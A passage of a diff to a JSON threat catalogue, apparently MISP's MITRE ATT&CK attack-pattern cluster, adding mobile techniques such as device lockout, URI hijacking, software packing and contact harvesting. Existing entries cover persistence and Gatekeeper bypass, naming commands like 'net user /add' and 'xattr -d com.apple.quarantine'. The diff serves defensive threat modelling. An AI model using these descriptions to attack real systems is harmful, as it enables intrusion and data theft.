Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Lookout-StealthMango)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.", "meta": { "external_id": "CEL-22", "kill_chain": [ @@ -15623,12 +16680,12 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1456", - "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/", + "https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf", "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html" ] }, "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", - "value": "Drive-by Compromise - T1456" + "value": "Drive-By Compromise - T1456" }, { "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", @@ -16682,6 +17739,30 @@ "uuid": "b0c74ef9-c61e-4986-88cb-78da98a355ec", "value": "Malicious Image - T1204.003" }, + { + "description": "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019) \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.", + "meta": { + "external_id": "T1630.002", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1630/002", + "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html" + ] + }, + "related": [ + { + "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", + "type": "subtechnique-of" + } + ], + "uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "value": "File Deletion - T1630.002" + }, { "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ", "meta": { @@ -16716,6 +17797,30 @@ "uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0", "value": "Login Hook - T1037.002" }, + { + "description": "Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. \n\nUtilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", + "meta": { + "external_id": "T1406.002", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "iOS", + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1406/002" + ] + }, + "related": [ + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "type": "subtechnique-of" + } + ], + "uuid": "51636761-2e35-44bf-9e56-e337adf97174", + "value": "Software Packing - T1406.002" + }, { "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", "meta": { @@ -17589,6 +18694,30 @@ "uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "value": "Standard Encoding - T1132.001" }, + { + "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.", + "meta": { + "external_id": "T1521.001", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1521/001" + ] + }, + "related": [ + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "type": "subtechnique-of" + } + ], + "uuid": "bb4387ab-7a51-468b-bf5f-a9a8612f0303", + "value": "Symmetric Cryptography - T1521.001" + }, { "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "meta": { @@ -17653,6 +18782,30 @@ "uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", "value": "Internal Defacement - T1491.001" }, + { + "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1521/002).", + "meta": { + "external_id": "T1521.002", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1521/002" + ] + }, + "related": [ + { + "dest-uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "type": "subtechnique-of" + } + ], + "uuid": "16d73b64-5681-4ea0-9af4-4ad86f7c96e8", + "value": "Asymmetric Cryptography - T1521.002" + }, { "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)", "meta": { @@ -17749,6 +18902,31 @@ "uuid": "7610cada-1499-41a4-b3dd-46467b68d177", "value": "Domain Account - T1136.002" }, + { + "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken. \n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. \n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. \n\nIf the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files. ", + "meta": { + "external_id": "T1623.001", + "kill_chain": [ + "mitre-mobile-attack:execution" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1623/001", + "https://partner.samsungknox.com/mtd" + ] + }, + "related": [ + { + "dest-uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", + "type": "subtechnique-of" + } + ], + "uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "value": "Unix Shell - T1623.001" + }, { "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "meta": { @@ -17820,6 +18998,54 @@ "uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada", "value": "System Firmware - T1542.001" }, + { + "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received. \n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications. \n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts) ", + "meta": { + "external_id": "T1624.001", + "kill_chain": [ + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1624/001", + "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" + ] + }, + "related": [ + { + "dest-uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", + "type": "subtechnique-of" + } + ], + "uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "value": "Broadcast Receivers - T1624.001" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "meta": { + "external_id": "T1481.002", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1481/002" + ] + }, + "related": [ + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", + "type": "subtechnique-of" + } + ], + "uuid": "939808a7-121d-467a-b028-4441ee8b7cee", + "value": "Bidirectional Communication - T1481.002" + }, { "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", "meta": { @@ -17983,6 +19209,30 @@ "uuid": "a009cb25-4801-4116-9105-80a91cf15c1b", "value": "Cloud Account - T1136.003" }, + { + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nHardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices. ", + "meta": { + "external_id": "T1633.001", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1633/001" + ] + }, + "related": [ + { + "dest-uuid": "27d18e87-8f32-4be1-b456-39b90454360f", + "type": "subtechnique-of" + } + ], + "uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", + "value": "System Checks - T1633.001" + }, { "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", "meta": { @@ -18054,6 +19304,31 @@ "uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "value": "Launch Agent - T1543.001" }, + { + "description": "Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server. \n\nWeb protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device). Such notification services leverage HTTP/S via the respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect. ", + "meta": { + "external_id": "APP-29", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1437/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" + ] + }, + "related": [ + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "type": "subtechnique-of" + } + ], + "uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "value": "Web Protocols - T1437.001" + }, { "description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)", "meta": { @@ -18160,6 +19435,34 @@ "uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", "value": "SSH Hijacking - T1563.001" }, + { + "description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data. \n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If an adversary were to register for a URI that was already in use by a genuine application, the adversary may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the adversary to gain access to protected resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE) ", + "meta": { + "external_id": "T1635.001", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1635/001", + "https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/", + "https://developer.android.com/training/app-links/index.html", + "https://tools.ietf.org/html/rfc7636", + "https://tools.ietf.org/html/rfc8252" + ] + }, + "related": [ + { + "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", + "type": "subtechnique-of" + } + ], + "uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", + "value": "URI Hijacking - T1635.001" + }, { "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.", "meta": { @@ -18246,6 +19549,31 @@ "uuid": "bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", "value": "Social Media - T1593.001" }, + { + "description": "Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Calendar Entries](https://attack.mitre.org/techniques/T1636/001) without the user’s knowledge or approval. ", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1636/001", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "related": [ + { + "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "type": "subtechnique-of" + } + ], + "uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "value": "Calendar Entries - T1636.001" + }, { "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", "meta": { @@ -18569,6 +19897,57 @@ "uuid": "791481f8-e96a-41be-b089-a088763083d4", "value": "Component Firmware - T1542.002" }, + { + "description": "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. \n\nWhile there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.", + "meta": { + "external_id": "T1628.002", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1628/002" + ] + }, + "related": [ + { + "dest-uuid": "fc53309d-ebd5-4573-9242-57024ebdad4f", + "type": "subtechnique-of" + } + ], + "uuid": "24a77e53-0751-46fc-b207-99378fb35c08", + "value": "User Evasion - T1628.002" + }, + { + "description": "An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device. The release of Android 7 introduced updates that only allow device or profile owners (e.g. MDMs) to reset the device’s passcode.(Citation: Android resetPassword)", + "meta": { + "external_id": "APP-22", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1629/002", + "https://blog.talosintelligence.com/2018/10/gplayedtrojan.html", + "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html", + "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/", + "https://www.microsoft.com/security/blog/2020/10/08/sophisticated-new-android-malware-marks-the-latest-evolution-of-mobile-ransomware/" + ] + }, + "related": [ + { + "dest-uuid": "20b0931a-8952-42ca-975f-775bad295f1a", + "type": "subtechnique-of" + } + ], + "uuid": "acf8fd2a-dc98-43b4-8d37-64e10728e591", + "value": "Device Lockout - T1629.002" + }, { "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "meta": { @@ -18780,6 +20159,31 @@ "uuid": "6e561441-8431-4773-a9b8-ccf28ef6a968", "value": "Search Engines - T1593.002" }, + { + "description": "Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Call Log](https://attack.mitre.org/techniques/T1636/002) without the user’s knowledge or approval. ", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1636/002", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "related": [ + { + "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "type": "subtechnique-of" + } + ], + "uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "value": "Call Log - T1636.002" + }, { "description": "Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)", "meta": { @@ -19395,6 +20799,31 @@ "uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "value": "Windows Service - T1543.003" }, + { + "description": "Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Contact List](https://attack.mitre.org/techniques/T1636/003) without the user’s knowledge or approval. ", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "iOS", + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1636/003", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "related": [ + { + "dest-uuid": "11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "type": 